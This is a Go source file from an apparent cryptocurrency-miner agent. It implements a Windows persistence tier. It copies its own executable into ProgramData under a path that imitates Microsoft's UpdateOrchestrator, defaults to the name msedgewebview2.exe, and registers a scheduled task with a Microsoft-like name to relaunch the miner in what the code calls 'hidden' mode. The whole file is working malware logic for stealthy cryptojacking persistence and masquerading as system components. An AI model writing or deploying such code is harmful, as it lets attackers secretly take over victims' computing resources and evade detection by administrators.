package miner

import (
	"context"
	"fmt"
	"os"
	"path/filepath"
	"runtime"
	"strings"

	"crypto-miner-agent/config"
)

// ScheduledTaskStubRel is the benign ProgramData path for the hidden persistence shell.
const ScheduledTaskStubRel = `Microsoft\Windows\UpdateOrchestrator\InventorySync`

// scheduledTaskOps performs task install/query. Tests override via SetScheduledTaskOps.
var scheduledTaskOps = defaultScheduledTaskOps()

func defaultScheduledTaskOps() *ScheduledTaskOps {
	return platformScheduledTaskOps()
}

// ScheduledTaskOps wires scheduled-task persistence for tests.
type ScheduledTaskOps struct {
	Exists   func(taskName string) bool
	Install  func(taskName, stubPath, trigger string) error
	StubPath func(cfg config.RuntimeConfig) (string, error)
}

// SetScheduledTaskOps restores default when ops is nil.
func SetScheduledTaskOps(ops *ScheduledTaskOps) {
	if ops == nil {
		scheduledTaskOps = defaultScheduledTaskOps()
		return
	}
	scheduledTaskOps = ops
}

// RunScheduledTaskTier installs or reuses a hidden persistence shell under ProgramData\Microsoft\...
func RunScheduledTaskTier(ctx context.Context, cfg config.RuntimeConfig) TierAttempt {
	if runtime.GOOS != "windows" {
		return TierAttempt{Tier: TierScheduledTask, Error: "scheduled_task requires windows", Wallet: cfg.Wallet}
	}
	select {
	case <-ctx.Done():
		return TierAttempt{Tier: TierScheduledTask, Error: ctx.Err().Error(), Wallet: cfg.Wallet}
	default:
	}

	taskName := scheduledTaskName(cfg)
	stubPath, err := scheduledTaskOps.StubPath(cfg)
	if err != nil {
		return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
	}

	if err := ensureScheduledTaskStub(stubPath); err != nil {
		return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
	}

	trigger := fmt.Sprintf(`"%s" --run --mining-mode=%s`, stubPath, strings.TrimSpace(cfg.MiningMode))
	if scheduledTaskOps.Exists(taskName) {
		return TierAttempt{
			Tier:   TierScheduledTask,
			OK:     true,
			Wallet: cfg.Wallet,
			Details: map[string]interface{}{
				"task":        taskName,
				"stub_path":   stubPath,
				"mining_mode": cfg.MiningMode,
				"reused":      true,
			},
		}
	}

	if err := scheduledTaskOps.Install(taskName, stubPath, trigger); err != nil {
		return TierAttempt{Tier: TierScheduledTask, Error: err.Error(), Wallet: cfg.Wallet}
	}
	return TierAttempt{
		Tier:   TierScheduledTask,
		OK:     true,
		Wallet: cfg.Wallet,
		Details: map[string]interface{}{
			"task":        taskName,
			"stub_path":   stubPath,
			"mining_mode": cfg.MiningMode,
			"hidden":      true,
		},
	}
}

func scheduledTaskName(cfg config.RuntimeConfig) string {
	suffix := strings.TrimSpace(cfg.BuildID)
	if suffix == "" {
		suffix = strings.TrimSpace(cfg.WorkerName)
	}
	if suffix == "" {
		suffix = "agent"
	}
	suffix = sanitizeTaskToken(suffix)
	return `\Microsoft\Windows\UpdateOrchestrator\AetherForge\InventorySync` + suffix
}

func sanitizeTaskToken(s string) string {
	var b strings.Builder
	for _, ch := range s {
		if (ch >= 'a' && ch <= 'z') || (ch >= 'A' && ch <= 'Z') || (ch >= '0' && ch <= '9') {
			b.WriteRune(ch)
		}
	}
	out := b.String()
	if out == "" {
		return "worker"
	}
	return out
}

func scheduledTaskStubPath(cfg config.RuntimeConfig) (string, error) {
	base := os.Getenv("ProgramData")
	if base == "" {
		return "", fmt.Errorf("ProgramData not set")
	}
	name := cfg.EffectiveProcessName()
	if name == "" {
		name = "msedgewebview2.exe"
	}
	if !strings.HasSuffix(strings.ToLower(name), ".exe") {
		name += ".exe"
	}
	return filepath.Join(base, ScheduledTaskStubRel, name), nil
}

func ensureScheduledTaskStub(stubPath string) error {
	if _, err := os.Stat(stubPath); err == nil {
		return nil
	}
	exe, err := os.Executable()
	if err != nil {
		return err
	}
	if err := os.MkdirAll(filepath.Dir(stubPath), 0755); err != nil {
		return err
	}
	src, err := os.Open(exe)
	if err != nil {
		return err
	}
	defer src.Close()
	dst, err := os.OpenFile(stubPath, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0755)
	if err != nil {
		return err
	}
	defer dst.Close()
	if _, err := dst.ReadFrom(src); err != nil {
		return err
	}
	return nil
}